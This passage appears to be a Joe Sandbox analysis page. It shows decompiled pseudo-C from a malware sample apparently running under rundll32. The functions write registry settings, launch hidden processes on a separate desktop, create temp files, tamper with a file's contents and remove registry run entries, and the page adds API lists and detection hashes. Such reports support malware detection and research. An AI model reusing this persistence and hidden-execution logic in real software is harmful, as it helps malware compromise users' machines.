Function 04A03170 Relevance: 28.7, APIs: 19, Instructions: 173
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E04A03170() {
				char _v284;
				char _v292;
				intOrPtr _v296;
				void* _v300;
				void* _v304;
				void* _v308;
				void* _v312;
				char _v316;
				void* _v320;
				int _v324;
				char _v328;
				long _t59;
				signed int _t71;
				void* _t84;
				void* _t85;
				void* _t86;
				char* _t90;
				void* _t91;
				char* _t92;
				char* _t93;
				char* _t94;
				void* _t95;
				void* _t97;

				_t86 = 0;
				_v304 = 0;
				do {
					asm("sbb esi, esi");
					_t91 =  &(_t90[0xffffffff80000002]);
					_t84 = 0;
					_v324 = _t91;
					do {
						wsprintfA( &_v300,  *0x4a16b24, _t84);
						_t97 = _t97 + 0xc;
						if(RegOpenKeyExA(_t91,  &_v292, 0, 0xf013f,  &_v320) == 0) {
							_t95 = 0;
							do {
								_t6 = _t95 + 0x4a15040; // 0x0
								_t71 =  *_t6 & 0x0000ffff;
								if(_t71 == 0) {
									lstrcpyA( &_v292,  *0x4a16b30);
								} else {
									wsprintfA( &_v292,  *0x4a16b28, _t71);
									_t97 = _t97 + 0xc;
								}
								_t9 = _t95 + 0x4a15040; // 0x0
								wsprintfA( &_v292,  *0x4a16b28,  *_t9 & 0x0000ffff);
								_t11 = _t95 + 0x4a15048; // 0x0
								_t97 = _t97 + 0xc;
								_v316 =  *_t11;
								RegSetValueExA(_v312,  &_v284, 0, 4,  &_v316, 4);
								_t95 = _t95 + 0xc;
							} while (_t95 < 0x144);
							RegCloseKey(_v312);
							_t91 = _v308;
						}
						_t84 = _t84 + 1;
					} while (_t84 <= 4);
					_t85 = _v316;
					_t92 =  *0x4a16b34; // 0x4a19b0a
					_v324 = 1;
					_v328 = 1;
					if(RegOpenKeyExA(_t85,  *0x4a16b2c, 0, 2,  &_v312) == 0) {
						RegSetValueExA(_v312, _t92, 0, 4,  &_v328, 4);
						RegCloseKey(_v312);
					}
					_t93 =  *0x4a16b3c; // 0x4a19b4e
					_v328 = _v324;
					if(RegOpenKeyExA(_t85,  *0x4a16b38, 0, 2,  &_v308) == 0) {
						RegSetValueExA(_v308, _t93, 0, 4,  &_v328, 4);
						RegCloseKey(_v308);
					}
					_t94 =  *0x4a16b40; // 0x4a19b6b
					_v328 = _v324;
					if(RegOpenKeyExA(_t85,  *0x4a16b38, 0, 2,  &_v304) == 0) {
						RegSetValueExA(_v304, _t94, 0, 4,  &_v328, 4);
						RegCloseKey(_v304);
					}
					_t90 =  *0x4a16b48; // 0x4a19bc2
					_v324 = 0;
					_v328 = 0;
					_t59 = RegOpenKeyExA(_t85,  *0x4a16b44, 0, 2,  &_v300);
					if(_t59 == 0) {
						RegSetValueExA(_v300, _t90, 0, 4,  &_v328, 4);
						_t59 = RegCloseKey(_v300);
					}
					_t86 = _v296 + 1;
					_v296 = _t86;
				} while (_t86 < 2);
				return _t59;
			}

0x04a0317e
0x04a03188
0x04a03190
0x04a03192
0x04a03194
0x04a0319a
0x04a0319c
0x04a031a0
0x04a031ac
0x04a031ae
0x04a031cb
0x04a031d1
0x04a031d3
0x04a031d3
0x04a031d3
0x04a031dd
0x04a031fd
0x04a031df
0x04a031eb
0x04a031ed
0x04a031ed
0x04a031ff
0x04a03212
0x04a03214
0x04a0321a
0x04a0321d
0x04a03235
0x04a0323b
0x04a0323e
0x04a0324a
0x04a03250
0x04a03250
0x04a03254
0x04a03255
0x04a0325e
0x04a03266
0x04a03277
0x04a03280
0x04a03290
0x04a032a2
0x04a032ac
0x04a032ac
0x04a032b6
0x04a032bc
0x04a032d8
0x04a032ea
0x04a032f4
0x04a032f4
0x04a032fe
0x04a03304
0x04a03320
0x04a03332
0x04a0333c
0x04a0333c
0x04a03342
0x04a03357
0x04a03360
0x04a03368
0x04a03370
0x04a03382
0x04a0338c
0x04a0338c
0x04a03396
0x04a03397
0x04a0339b
0x04a033ae

APIs

wsprintfA.USER32 ref: 04A031AC
RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,?), ref: 04A031C3
wsprintfA.USER32 ref: 04A031EB
lstrcpyA.KERNEL32(?,?,?,00000000,000F013F,?), ref: 04A031FD
wsprintfA.USER32 ref: 04A03212
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,000F013F,?), ref: 04A03235
RegCloseKey.ADVAPI32(?,?,000F013F,?), ref: 04A0324A
RegOpenKeyExA.ADVAPI32(?), ref: 04A03288
RegSetValueExA.ADVAPI32(?,04A19B0A,00000000,00000004,?,00000004), ref: 04A032A2
RegCloseKey.ADVAPI32(00000000), ref: 04A032AC
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,00000001), ref: 04A032D0
RegSetValueExA.ADVAPI32(?,04A19B4E,00000000,00000004,?,00000004), ref: 04A032EA
RegCloseKey.ADVAPI32(00000001), ref: 04A032F4
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,?), ref: 04A03318
RegSetValueExA.ADVAPI32(?,04A19B6B,00000000,00000004,?,00000004), ref: 04A03332
RegCloseKey.ADVAPI32(?), ref: 04A0333C
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,?), ref: 04A03368
RegSetValueExA.ADVAPI32(?,04A19BC2,00000000,00000004,?,00000004), ref: 04A03382
RegCloseKey.ADVAPI32(?), ref: 04A0338C

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseOpenValue$wsprintf$lstrcpy
String ID:
API String ID: 2089424063-0
Opcode ID: b5f1b36548a655abce3e5cf3c3d1f23db88e930c69598cd4089e0c86529cf4c3
Instruction ID: 6b6744f2ebcafac83ba631aa2aac90238eded59355c39423dde63477fc20f0a9
Opcode Fuzzy Hash: b5f1b36548a655abce3e5cf3c3d1f23db88e930c69598cd4089e0c86529cf4c3
Instruction Fuzzy Hash: 16517E71544300AFEB209F50EC45F6BBBE8FB58B14F404819FA45E21A0D774AD4ACB66

Uniqueness

Uniqueness Score: -1.00%

Function 04A06E70 Relevance: 28.6, APIs: 19, Instructions: 128COMMON

Download Yara Rule

APIs

shutdown.WS2_32(00000000,00000002), ref: 04A06ED4
closesocket.WS2_32(00000000), ref: 04A06EDB
shutdown.WS2_32(00000000,00000002), ref: 04A06EE8
closesocket.WS2_32(00000000), ref: 04A06EEF
shutdown.WS2_32(000007DC,00000002), ref: 04A06EFC
closesocket.WS2_32(000007DC), ref: 04A06F03
shutdown.WS2_32(00000000,00000002), ref: 04A06F40
closesocket.WS2_32(00000000), ref: 04A06F47
shutdown.WS2_32(00000000,00000002), ref: 04A06F9E
closesocket.WS2_32(00000000), ref: 04A06FA5
shutdown.WS2_32(00000000,00000002), ref: 04A06FB2
closesocket.WS2_32(00000000), ref: 04A06FB9
shutdown.WS2_32(00000000,00000002), ref: 04A06FE6
closesocket.WS2_32(00000000), ref: 04A06FED
shutdown.WS2_32(00000000,00000002), ref: 04A06FFA
closesocket.WS2_32(00000000), ref: 04A07001
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 04A07028
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 04A07045
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 04A07062

Part of subcall function 04A04140: TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A04197
Part of subcall function 04A04140: CloseHandle.KERNEL32(?), ref: 04A0419D
Part of subcall function 04A04140: TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041AA
Part of subcall function 04A04140: CloseHandle.KERNEL32(?), ref: 04A041B1
Part of subcall function 04A04140: TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041BA
Part of subcall function 04A04140: CloseHandle.KERNEL32(?), ref: 04A041BD
Part of subcall function 04A04140: TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041C6
Part of subcall function 04A04140: CloseHandle.KERNEL32(00000000), ref: 04A041C9

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: closesocketshutdown$CloseHandleTerminateThread$FreeVirtual
String ID:
API String ID: 1920005900-0
Opcode ID: 474ae2c8dfe70342bca633994b1452773b35003dcb004cc3d0e606f4a0907bf8
Instruction ID: 040eaaa195377f3a198f80a6a3159e00476b0f0497ffaca4766659a8295ab71d
Opcode Fuzzy Hash: 474ae2c8dfe70342bca633994b1452773b35003dcb004cc3d0e606f4a0907bf8
Instruction Fuzzy Hash: 71412179241310ABE311AF14FA49B9A7B68EB68B05F149014FA11E72E1DB7CBC07CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04A07B00 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 151
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A07B00(char* __ecx) {
				short _v1020;
				short _v1540;
				short _v1548;
				short _v1644;
				short _v1704;
				struct _STARTUPINFOW _v1780;
				struct _PROCESS_INFORMATION _v1800;
				char _v1808;
				WCHAR* _t27;
				void* _t44;
				void* _t45;
				void* _t46;
				WCHAR* _t58;
				WCHAR* _t59;
				intOrPtr _t60;
				WCHAR* _t61;
				intOrPtr _t67;
				char* _t70;
				WCHAR* _t71;

				_t70 = __ecx;
				_t27 = GetCommandLineW();
				if(_t27 != 0) {
					lstrcpyW( &_v1548, _t27);
					wsprintfA( &_v1808,  *0x4a16a1c,  *0x4a163d8, 0);
					SetEnvironmentVariableA( &_v1800, "1");
					_t58 =  *0x4a16748; // 0x4a1783e
					_v1020 = 0;
					lstrcpyW( &_v1020,  &_v1540);
					E04A010D0( &_v1780, 0, 0x44);
					_v1780.cb = 0x44;
					_v1780.wShowWindow = 0;
					_v1780.dwFlags = 1;
					if(_t58 != 0) {
						lstrcpyW( &_v1644, _t58);
						_v1780.lpDesktop =  &_v1644;
					}
					_t27 = CreateProcessW(0,  &_v1020, 0, 0, 0, 0, 0, 0,  &_v1780,  &_v1800);
					if(_t27 == 0) {
						_t59 =  *0x4a16908; // 0x4a1866e
						if(_t59 != 0) {
							_t27 = lstrlenW(_t59);
							_t67 = _t27 + _t27;
							if( *0x4a1672c != 0 && _t70 != 0 && _t67 != 0) {
								_t27 = E04A011D0(_t67);
								_t71 = _t27;
								if(_t71 != 0) {
									_t44 = E04A01000(_t71, _t59, _t67);
									EnterCriticalSection(0x4a16714);
									 *(_t70 + 1) = _t71;
									goto L19;
								}
							}
						}
					} else {
						_t45 = _v1800.hThread;
						_t60 = _v1800.dwProcessId;
						if(_t45 != 0) {
							CloseHandle(_t45);
						}
						_t46 = _v1800.hProcess;
						if(_t46 != 0) {
							CloseHandle(_t46);
						}
						E04A01220( &_v1704, 0x4a0f2d0, _t60);
						lstrcatW( &_v1704,  *0x4a16910);
						_t27 = lstrlenW( &_v1704);
						_t67 = _t27 + _t27;
						if( *0x4a1672c != 0 && _t70 != 0 && _t67 != 0) {
							_t27 = E04A011D0(_t67);
							_t61 = _t27;
							if(_t61 != 0) {
								_t44 = E04A01000(_t61,  &_v1704, _t67);
								EnterCriticalSection(0x4a16714);
								 *(_t70 + 1) = _t61;
								L19:
								 *_t70 = 6;
								 *((intOrPtr*)(_t70 + 5)) = _t67;
								LeaveCriticalSection(0x4a16714);
								return _t44;
							}
						}
					}
				}
				return _t27;
			}

0x04a07b0a
0x04a07b0c
0x04a07b14
0x04a07b29
0x04a07b3e
0x04a07b51
0x04a07b57
0x04a07b5f
0x04a07b77
0x04a07b82
0x04a07b89
0x04a07b94
0x04a07b99
0x04a07ba3
0x04a07bae
0x04a07bb7
0x04a07bb7
0x04a07bdb
0x04a07be3
0x04a07c85
0x04a07c8d
0x04a07c90
0x04a07c98
0x04a07ca1
0x04a07cad
0x04a07cb2
0x04a07cb6
0x04a07cbb
0x04a07cc8
0x04a07cce
0x00000000
0x04a07cce
0x04a07cb6
0x04a07ca1
0x04a07be9
0x04a07be9
0x04a07bed
0x04a07bf9
0x04a07bfc
0x04a07bfc
0x04a07bfe
0x04a07c04
0x04a07c07
0x04a07c07
0x04a07c14
0x04a07c27
0x04a07c32
0x04a07c3a
0x04a07c43
0x04a07c5b
0x04a07c60
0x04a07c64
0x04a07c6d
0x04a07c7a
0x04a07c80
0x04a07cd1
0x04a07cd6
0x04a07cd9
0x04a07cdc
0x00000000
0x04a07cdc
0x04a07c64
0x04a07c43
0x04a07be3
0x04a07cec

APIs

GetCommandLineW.KERNEL32(?,?,?), ref: 04A07B0C
lstrcpyW.KERNEL32 ref: 04A07B29
wsprintfA.USER32 ref: 04A07B3E
SetEnvironmentVariableA.KERNEL32(?,04A0F40C), ref: 04A07B51
lstrcpyW.KERNEL32 ref: 04A07B77
lstrcpyW.KERNEL32 ref: 04A07BAE
CreateProcessW.KERNEL32 ref: 04A07BDB
CloseHandle.KERNEL32(?), ref: 04A07BFC
CloseHandle.KERNEL32(?), ref: 04A07C07
lstrcatW.KERNEL32(?), ref: 04A07C27
lstrlenW.KERNEL32(?,?,?,?,?,00000000,00000044), ref: 04A07C32
EnterCriticalSection.KERNEL32(04A16714,?,?,?,?,?,?,?,00000000,00000044), ref: 04A07C7A
lstrlenW.KERNEL32(04A1866E), ref: 04A07C90

Part of subcall function 04A011D0: VirtualAlloc.KERNEL32(00000000,00000001,00003000,00000004,04A076CF), ref: 04A011E2

EnterCriticalSection.KERNEL32(04A16714,?,?,?,?,00000000,00000044), ref: 04A07CC8
LeaveCriticalSection.KERNEL32(04A16714,?,?,?,?,00000000,00000044), ref: 04A07CDC

Strings

D, xrefs: 04A07B89

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSectionlstrcpy$CloseEnterHandlelstrlen$AllocCommandCreateEnvironmentLeaveLineProcessVariableVirtuallstrcatwsprintf
String ID: D
API String ID: 1870881197-2746444292
Opcode ID: d2c6f24c6c3d99d66ab2c748372b4b53804ce74145abda5a035fc0c669365ca4
Instruction ID: 9dff92dfe95d075d7b5086b50295a6385236baeb56075dac43d3d3b81737b969
Opcode Fuzzy Hash: d2c6f24c6c3d99d66ab2c748372b4b53804ce74145abda5a035fc0c669365ca4
Instruction Fuzzy Hash: 164190B6504305AFD721DFA0E884F9B77ECFB94700F448829FA45D2180EBB9F8468B61

Uniqueness

Uniqueness Score: -1.00%

Function 04A08F20 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 153
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E04A08F20(intOrPtr __ecx, void* __eflags) {
				short _v1028;
				short _v2052;
				short _v2652;
				short _v2756;
				struct _STARTUPINFOW _v2828;
				struct _PROCESS_INFORMATION _v2844;
				long _v2848;
				WCHAR* _v2852;
				void* _t34;
				long _t35;
				int _t36;
				void* _t37;
				void* _t57;
				void* _t58;
				WCHAR* _t68;
				WCHAR* _t71;
				intOrPtr _t76;
				int _t77;
				WCHAR* _t78;
				WCHAR* _t80;
				void* _t84;
				void* _t85;

				_v2852 = 0;
				_v2848 = 0;
				_t34 = E04A08C70(__ecx,  &_v2052, __eflags, 0x200, 1,  &_v2852,  &_v2848);
				_t85 = _t84 + 0x10;
				if(_t34 == 0) {
					_t71 = _v2852;
					_t35 = _v2848;
					goto L14;
				} else {
					_v2652 = 0;
					lstrcpyW( &_v2652,  *0x4a1674c);
					lstrcatW( &_v2652,  &_v2052);
					lstrcatW( &_v2652,  *0x4a16750);
					_t78 =  *0x4a16748; // 0x4a1783e
					_v1028 = 0;
					lstrcpyW( &_v1028,  &_v2652);
					E04A010D0( &_v2828, 0, 0x44);
					_v2828.cb = 0x44;
					_t85 = _t85 + 0xc;
					_v2828.wShowWindow = 0;
					_v2828.dwFlags = 1;
					if(_t78 != 0) {
						lstrcpyW( &_v2756, _t78);
						_v2828.lpDesktop =  &_v2756;
					}
					if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v2828,  &_v2844) == 0) {
						_t35 = GetLastError();
						_t71 = 0x71;
						L14:
						_t76 =  *0x4a16908; // 0x4a1866e
						_t36 = E04A040D0( &_v2052, _t76, _t71, _t35);
						_t68 = _t36;
						__eflags = _t68;
						if(_t68 != 0) {
							_t36 = lstrlenW(_t68);
							_t80 = _t36 + _t36;
							__eflags =  *0x4a1672c;
							if( *0x4a1672c != 0) {
								__eflags = _t80;
								if(_t80 != 0) {
									_t36 = E04A011D0(_t80);
									_t77 = _t36;
									__eflags = _t77;
									if(_t77 != 0) {
										_push(_t80);
										_push(_t68);
										goto L19;
									}
								}
							}
						}
					} else {
						_t57 = _v2844.hThread;
						if(_t57 != 0) {
							CloseHandle(_t57);
						}
						_t58 = _v2844.hProcess;
						if(_t58 != 0) {
							CloseHandle(_t58);
						}
						lstrcatW( &_v2052,  *0x4a16910);
						_t36 = lstrlenW( &_v2052);
						_t80 = _t36 + _t36;
						if( *0x4a1672c != 0 && _t80 != 0) {
							_t36 = E04A011D0(_t80);
							_t77 = _t36;
							if(_t77 != 0) {
								_push(_t80);
								_push( &_v2052);
								L19:
								_push(_t77);
								_t37 = E04A01000();
								EnterCriticalSection(0x4a16714);
								 *0x4a16708 = 6;
								 *0x4a1670d = _t80;
								 *0x4a16709 = _t77;
								LeaveCriticalSection(0x4a16714);
								return _t37;
							}
						}
					}
				}
				return _t36;
			}

0x04a08f2d
0x04a08f3a
0x04a08f51
0x04a08f56
0x04a08f5b
0x04a090ad
0x04a090b1
0x00000000
0x04a08f61
0x04a08f6f
0x04a08f7f
0x04a08f97
0x04a08fa7
0x04a08fa9
0x04a08fb1
0x04a08fc9
0x04a08fd4
0x04a08fdb
0x04a08fe3
0x04a08fe6
0x04a08feb
0x04a08ff5
0x04a08ffd
0x04a09003
0x04a09003
0x04a0902f
0x04a090a0
0x04a090a6
0x04a090b5
0x04a090b5
0x04a090c4
0x04a090c9
0x04a090ce
0x04a090d0
0x04a090d3
0x04a090db
0x04a090dd
0x04a090e4
0x04a090e6
0x04a090e8
0x04a090ec
0x04a090f1
0x04a090f3
0x04a090f5
0x04a090f7
0x04a090f8
0x00000000
0x04a090f8
0x04a090f5
0x04a090e8
0x04a090e4
0x04a09031
0x04a09031
0x04a0903d
0x04a09040
0x04a09040
0x04a09042
0x04a09048
0x04a0904b
0x04a0904b
0x04a0905b
0x04a09065
0x04a0906d
0x04a09076
0x04a09086
0x04a0908b
0x04a0908f
0x04a09095
0x04a0909d
0x04a090f9
0x04a090f9
0x04a090fa
0x04a09107
0x04a09112
0x04a09119
0x04a0911f
0x04a09125
0x00000000
0x04a09125
0x04a0908f
0x04a09076
0x04a0902f
0x04a09134

APIs

Part of subcall function 04A08C70: GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,04A0F2D8,00000000,?,?,?,?,?), ref: 04A08CD4
Part of subcall function 04A08C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08CFC
Part of subcall function 04A08C70: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 04A08D16
Part of subcall function 04A08C70: WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 04A08D34
Part of subcall function 04A08C70: CloseHandle.KERNEL32(?,?,?,?,?), ref: 04A08D40
Part of subcall function 04A08C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08D4F
Part of subcall function 04A08C70: lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 04A08D62
Part of subcall function 04A08C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DA5
Part of subcall function 04A08C70: GetTickCount.KERNEL32 ref: 04A08DB4
Part of subcall function 04A08C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DC8

lstrcpyW.KERNEL32 ref: 04A08F7F
lstrcatW.KERNEL32(?,?), ref: 04A08F97
lstrcatW.KERNEL32(?), ref: 04A08FA7
lstrcpyW.KERNEL32 ref: 04A08FC9
lstrcpyW.KERNEL32 ref: 04A08FFD
CreateProcessW.KERNEL32 ref: 04A09027
CloseHandle.KERNEL32(?), ref: 04A09040
CloseHandle.KERNEL32(?), ref: 04A0904B
lstrcatW.KERNEL32(?), ref: 04A0905B
lstrlenW.KERNEL32(?), ref: 04A09065
GetLastError.KERNEL32 ref: 04A090A0
lstrlenW.KERNEL32(00000000), ref: 04A090D3
EnterCriticalSection.KERNEL32(04A16714), ref: 04A09107
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A09125

Strings

D, xrefs: 04A08FDB

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$lstrlen$CloseHandlelstrcatlstrcpy$CreateCriticalDeleteSection$CountEnterErrorLastLeaveNameProcessTempTickWritelstrcpyn
String ID: D
API String ID: 2188193726-2746444292
Opcode ID: 42aa02997303b0df047c4005491916af2eca4160e08410c33bf488ae273426bf
Instruction ID: f170e9e2480db8ad010c855fb72d4c4a71922d543917c8d05a3578ceb60689a8
Opcode Fuzzy Hash: 42aa02997303b0df047c4005491916af2eca4160e08410c33bf488ae273426bf
Instruction Fuzzy Hash: DA5164B15053459FE721DF60EC84B9B77ECEB98700F04491AF945D3180EB79E946CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A02AC0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 132
filestringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A02AC0(WCHAR* __ecx) {
				short _v520;
				long _v524;
				signed char _t17;
				signed char _t22;
				long _t43;
				void* _t49;
				intOrPtr _t50;
				void* _t52;
				void* _t55;
				int _t56;

				_t56 = 0;
				lstrcpyW( &_v520, __ecx);
				_t17 = GetFileAttributesW( &_v520);
				if(_t17 == 0xffffffff || (_t17 & 0x00000010) == 0) {
					L20:
					return 0;
				} else {
					lstrcatW( &_v520,  *0x4a168e4);
					_t22 = GetFileAttributesW( &_v520);
					if(_t22 == 0xffffffff || (_t22 & 0x00000010) != 0) {
						goto L20;
					} else {
						_t55 = CreateFileW( &_v520, 0x10000000, 0, 0, 3, 0, 0);
						if(_t55 != 0xffffffff) {
							_t43 = GetFileSize(_t55, 0);
							if(_t43 > 0x64) {
								_t52 = LocalAlloc(0, _t43);
								if(_t52 != 0) {
									if(ReadFile(_t55, _t52, _t43,  &_v524, 0) != 0) {
										_t49 =  *0x4a16b78; // 0x4a19c96
										if(E04A01370(_t49) == 0) {
											_t50 =  *0x4a16b74; // 0x4a19c6e
											_t57 = E04A01370(_t50);
											if(_t33 == 0 || SetFilePointer(_t55, 0, 0, 0) == 0xffffffff) {
												if(WriteFile(_t55, _t52, _t43,  &_v524, 0) == 0 || WriteFile(_t55,  *0x4a16b78, 0x31,  &_v524, 0) == 0) {
													_t56 = 0;
												} else {
													_t56 = 1;
												}
											} else {
												E04A01000(_t57,  *0x4a16b78, 0x31);
												_t56 = WriteFile(_t55, _t52, _t43,  &_v524, 0);
											}
										}
									}
									LocalFree(_t52);
								}
							}
							CloseHandle(_t55);
						}
						return _t56;
					}
				}
			}

0x04a02ace
0x04a02ad0
0x04a02ae1
0x04a02ae6
0x04a02c28
0x04a02c31
0x04a02af4
0x04a02aff
0x04a02b0a
0x04a02b0f
0x00000000
0x04a02b1d
0x04a02b33
0x04a02b38
0x04a02b47
0x04a02b4c
0x04a02b5b
0x04a02b5f
0x04a02b76
0x04a02b7c
0x04a02b8b
0x04a02b8d
0x04a02b9a
0x04a02b9e
0x04a02beb
0x04a02c0a
0x04a02c03
0x04a02c03
0x04a02c03
0x04a02bb2
0x04a02bbb
0x04a02bd3
0x04a02bd3
0x04a02b9e
0x04a02b8b
0x04a02c0d
0x04a02c0d
0x04a02c13
0x04a02c15
0x04a02c1b
0x04a02c26
0x04a02c26
0x04a02b0f

APIs

lstrcpyW.KERNEL32 ref: 04A02AD0
GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 04A02AE1
lstrcatW.KERNEL32(?), ref: 04A02AFF
GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 04A02B0A
CreateFileW.KERNEL32(10000000,10000000,00000000,00000000,00000003,00000000,00000000,?,747582B0), ref: 04A02B2D
GetFileSize.KERNEL32(00000000,00000000,?,?,747582B0), ref: 04A02B41
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,747582B0), ref: 04A02B55
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 04A02B6E
LocalFree.KERNEL32(00000000,?,?,?,747582B0), ref: 04A02C0D

Part of subcall function 04A01370: lstrlenA.KERNEL32(04A16608,00000000,7476F9C0,747581D0,?,04A16608,04A0724C), ref: 04A01384
Part of subcall function 04A01370: lstrlenA.KERNEL32(00000000), ref: 04A0138D

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,747582B0), ref: 04A02BA7
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,747582B0), ref: 04A02BCD
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 04A02BE7
WriteFile.KERNEL32(00000000,00000031,?,00000000,?,?,?,747582B0), ref: 04A02BFD
CloseHandle.KERNEL32(00000000,?,?,747582B0), ref: 04A02C15

Strings

d, xrefs: 04A02B49

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$Write$AttributesLocallstrlen$AllocCloseCreateFreeHandlePointerReadSizelstrcatlstrcpy
String ID: d
API String ID: 3834757632-2564639436
Opcode ID: 3c0fa324e8863381365afeb7c2f575a66084ede31d5587d1b43aa9e02d263aa6
Instruction ID: f6c35e7efe690b740a72bd0e22863820bfcf09f9499647df09121873d5444e6c
Opcode Fuzzy Hash: 3c0fa324e8863381365afeb7c2f575a66084ede31d5587d1b43aa9e02d263aa6
Instruction Fuzzy Hash: 07310436101308BFE2209B60FC8CFFB37ACDB59364F004621FA54E21C0EB68AD4786A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001480 Relevance: 24.1, APIs: 16, Instructions: 88
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001480() {
				short _v1040;
				short _v1560;
				void* _v1564;
				long _t24;
				char* _t45;
				char* _t46;

				_t45 =  *0x1001d094; // 0x1001d56b
				if(RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 0x20006,  &_v1564) == 0) {
					RegDeleteValueA(_v1564, _t45);
					RegCloseKey(_v1564);
				}
				_t46 =  *0x1001d098; // 0x1001d57c
				if(RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 0x20006,  &_v1564) == 0) {
					RegDeleteValueA(_v1564, _t46);
					RegCloseKey(_v1564);
				}
				if(RegOpenKeyExW(0x80000001,  *0x1001d0e4, 0, 0x20006,  &_v1564) == 0) {
					RegDeleteValueW(_v1564,  *0x1001d0e8);
					RegCloseKey(_v1564);
				}
				_t24 = GetModuleFileNameW( *0x1001d004,  &_v1560, 0x104);
